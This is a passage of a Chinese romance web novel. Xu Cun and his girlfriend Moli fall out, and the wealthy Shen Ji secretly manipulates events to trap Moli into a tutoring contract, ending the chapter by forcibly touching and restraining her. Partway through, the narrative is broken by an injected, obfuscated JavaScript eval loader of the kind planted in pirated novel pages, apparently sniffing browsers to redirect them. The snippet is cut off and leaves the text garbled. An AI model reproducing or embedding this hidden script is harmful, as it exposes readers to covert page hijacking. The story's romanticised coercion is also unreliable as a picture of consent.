他跟茱莉亚清楚的划明了关系,表示自己有一个很爱的女朋友,让她不要再纠缠不清,也不要毫无界限的靠近他。 他本以为茱莉亚这样的风月女子会自知无趣地离开,可她听后只是沉默,那双眼眸中全是错综复杂的、难以言喻的情绪。 他站在玫瑰之影的外面拨通了电话,想跟茉莉坦白这一切,想获取她的原谅,当然,不原谅他也能接受,因为他实在过分。 电话接通的过程不长,他却觉得像是过了漫长的一个世纪。电话接通,他便率先开了口:“茉莉,在家吗,我想见你。” 那头没有出声,只有很大的音乐声,他皱了皱眉。 直到那个男人的声音响起,他的心猛地一沉,声音瞬间变得冰冷: “你是谁?” 对方轻笑一声,语气中带着几分挑衅:“啊,她的客人。” “客人?” “对,酒馆的客人。” 他深吸一口气,努力压制心中的怒火,冷冷道:“让她接电话。” 对方却笑得更欢:“她睡着了,在我怀里,对了,你是谁啊?” 许存站在闪烁的招牌下,身后的字格外惹眼,又像是讽刺一样,照的他形单影只。 许存握紧手机,指尖泛白。 他来到了酒馆,看到了睡在卡座里的茉莉。 他背着茉莉回家,坐在那个小小的屋子里,看着发白的墙坐了一夜。 卧室传来细微的声响,他动了动,知道是她醒了。 茉莉揉着发痛的脑袋慢慢起床,想去倒杯牛奶喝。只是刚走到客厅,她便听到许存的声音:“昨晚的事,我们谈谈吧。” “许存?你怎么在……昨晚是你送我回来的?” 许存反问她:“不然呢?等着别的男人送你回来?” 茉莉解释:“那只是个客人,我不小心喝多了……” “我倒想问你为什么在酒馆上班,你不是说晚上都在做文献翻译吗?” “瞒着你是我不对,这不是怕你担心吗,那边的氛围很好的,不是那种乱七八糟的地方。” “是吗?还真不是什么乱的地方。”许存冷笑一声,“躺在别人怀里舒服吗?” “你什么意思?”茉莉来了气,眉头紧蹙,“我问问你,揽着别人的滋味如何?” “你以为我想那样?” “那你想怎么样!” 似是惩罚他们两人的不忠与背叛,两人吵得不可开交,吵到最后,许存闭上了眼睛:“我们需要冷静一段时间。”他摔门而出,大步走远。 他也犯了错,但他却成了恃宠而骄的那一方,不敢承认错误,还要把由头牵引到茉莉身上。 他走到咖啡店打算吃个早饭冷静一下,落座时,他的面前出现了一份咖啡。 他以为是服务员送来的,却听到一个熟悉的声音:“这么巧?”抬头,是茱莉亚。 她脱下了衣裙,穿着袄子和简单的牛仔裤,脸上浓重的妆洗掉,露出一张清丽的面容。 许存并不想在此时与她有任何交集,起身要走。茱莉亚却拉住他,眼露歉意:“对不起,我昨天听到你打电话了,我知道我不该插手,但还是担心你……” “不必,我们只是萍水相逢。” “如果我去跟你女朋友说一切都是我纠缠你,这样你会好受一点吗?” 许存停住动作,叹息:“这是我的问题。” 他不能回避责任。 他承认,沉溺在名利场时,他的确忘了自我。 他无论如何无法原谅自己,也无法接受茉莉背着他去酒馆上班,还跟一个男人不清不楚。 如果……他说是如果,茉莉也像玫瑰之影里的那些女人一样……那他该如何面对这段感情? 他大步走出咖啡店,觉得远离茱莉亚就能远离这一切纷扰。 可茱莉亚还是跟了过来,步步跟随在身后。 “你不要再跟着我了!”许存忍无可忍地大喊出声。 茱莉亚没有停住步伐,而是加快速度走到他的身侧,不由分说地拉住他的手往前方奔跑。 跑起来是有用的,他顿时只剩疲劳,思绪也被抛在脑后。 茱莉亚带着他跑到沿海的街道,顺着海风的方向狂奔,直到两人气喘吁吁地停下。 初日才全破晓,海面波光粼粼,咸湿的气息扑面而来。许存望着无垠的海,心随着波澜起起伏伏。 他在放空,茱莉亚却猛地拉过他的衣领,在他没反应过来之前,轻吻了他的唇。 “如果她不愿接受你,就考虑考虑我吧。” 许存愣住,心跳在那一瞬仿佛停止。海风拂过,吹乱了茱莉亚的发丝,却无法吹散她眼中的坚定。 可他不能这样,他不能随意放弃这段感情,哪怕茉莉欺瞒了他。 他推开茱莉亚:“这不是解决问题的办法。” 茱莉亚微笑着松开手,退后一步:“我只是想让你知道,我喜欢你。” 许存沉默片刻,有些讥讽地笑了:“你喜欢我什么?沉迷风月?” “不,你不一样,你会关心我。” “关心能说明什么,只是礼貌罢了。” “可我就是喜欢你。”茱莉亚执着地重复,“毫无办法。” 明白没法跟她说通,许存只能看向海面。 电话铃声响起,他低头摸出手机,是沈悸的电话。 他心中没由来的慌乱,但沈悸作为上级,他只能走到一边接通电话。 “喂?” “真是不好意思,这么早打扰你。” “没有,沈总有什么事?” “哦……这样的,我上次跟你女朋友聊过了,她似乎是汉语言专业对么,正好,我有个弟弟需要中文家教,想问你能不能介绍一下。” 许存微微一愣,随即答道:“她确实学过汉语言,不过,我不知道她的考虑。” 沈悸轻笑:“那就看你的面子了,毕竟你推荐的,她总不会拒绝。” 电话结束,许存在短信界面上停留。 他不知道此时该以什么样的语气给茉莉发消息,但如果茉莉能去沈家做家教,她就可以不必再去酒馆工作了。 沈悸给的薪酬不会低的,这样茉莉的生活也能改善不少。 他深吸一口气,打下几个字:“有个家教机会,你愿意试试吗?” 手机的另一头,茉莉刚冲完澡调解完心情。 看到是许存的消息,她反应了一阵,屏幕直到熄灭才敢点开。 内容不是分手,而是问她是否愿意尝试一份家教工作。 茉莉指尖微颤。 这或许是跟许存关系缓和的唯一方式。 她的确不能再这样下去了。酒馆的工作属于欺瞒,哪怕她真的什么都没做,她也不能再继续在那里徒增误会。 “好的。”她回复。 她走到柜子前拿出了一张名片,对照着把查尔斯的电话输入,然后码了一条短信。 查尔斯收到这条短信时并没有诧异,很迅速地反应过来递给沈悸:“沈总,您的短信。” 沈悸没放下手里的文件:“直接读。” “查尔斯先生,昨夜的失态很抱歉,我男朋友产生了误会,所以之后我们就不要再见面了——茉莉。” 淡金色边框的眼镜泛着光,一双狭长的眸子透过镜片落在屏幕上。 沈悸扶了扶眼镜,悠悠道:“钱已经准备好了吗?” “是的。” 手边的咖啡飘着袅袅白雾,染白了透明的镜片。 “等明天就转吧。”他摘下眼镜,修剪干净的手指捏着软布轻轻擦拭,“他已经没用了。” “好的。” “跟艾尔说一声,省的他又来烦我。”沈悸擦完眼镜,从办公椅上起身,“备车,去仓库。” “好的。”查尔斯应着,退出了办公室。 - 三天后,茉莉见到了许存。 两人的关系还未愈合,见面的气氛十分尴尬生硬,坐在一辆车上都凑不出十句话。 目的地十分偏僻,路越走越像之前茉莉所拒绝的那户人家。 那户人家在文德的一处富人区,甚至比她之前所应聘的那些人家更加寸金寸土,这个人却能把这一片全都包下来做私人区,可见资金雄厚,已经不是一般人能想象的富有。 直到下车,茉莉已经能确认这就是她所拒绝的那一家了——那个时薪最高,包吃包住,唯一缺点就是远的那家。 出租车只能停在庄园之外10 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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书桌上摆放着一份合同,是一份家教协议,她一如往常地扫过纸面,上面详细列明了工作内容和薪酬待遇,待遇优渥,远超同类工作。 而合同末尾的两个签字栏空着,一个是委托方,一个是被委托方。 她没太在意,只觉得是委托人还在工作没回家,于是拿起笔签下了自己的名字。 只是写完名字的那一刹,她感觉到一丝异样的气氛弥漫开来。 似乎,有人正在背后窥视她。 她以为是错觉,身后却探来一只骨节分明的手,轻轻拿走她手里的笔。 洋洋洒洒地,在合同委托方的位置签下了“沈悸”二字。 她瞳孔骤缩。 沈悸。 回忆排山倒海一般席卷而来。 那些她早已封存在脑海的,关于那个男人的,关于他的。 腰肢被人从后紧紧搂住,一股冷冽的木香味扑鼻而来。 她艰难地偏头,黑发下,那道独属于沈悸的伤口映入眼帘。 “他很好?” 对方贴着她的脖颈,微凉的鼻翼轻轻摩挲着,温热的鼻息挑逗她的神经。 他的大手缓缓的,自上而下地滑过她的腰际,力度适中却不容抗拒。 男人的声音挑逗又带着低低的醋意,“我请你不来,怎么他说你就应了?” 她的心猛然一颤。 这一切的误会,巧合,全都是沈悸的圈套。 她被抵在桌子上,只能用双手勉强支撑上半身。 “你越界了。”茉莉咬着牙说道。 “越界?是你一步步走进我的陷阱里的。”他反而感到荣幸,薄唇愉悦地扬起,“你觉得你能逃脱吗?” “放开我。”她故作镇定,声音却微微发颤。 “不舍得。”沈悸窃窃地笑,贪婪地汲取她颈间的香气。 用力挣扎着试图推开他,却被对方反制,他的手像炽热烙铁,牢牢锁住她的手腕,力道不大,却能让她挣脱不开。 反而越是挣扎,手被扣的更紧。 “别动。”对方轻捏她的软腰,茉莉忍不住嘤咛了一声。 他像似报复一般重重咬上她发凉的耳朵。 “声音小点,可别被他听见了。”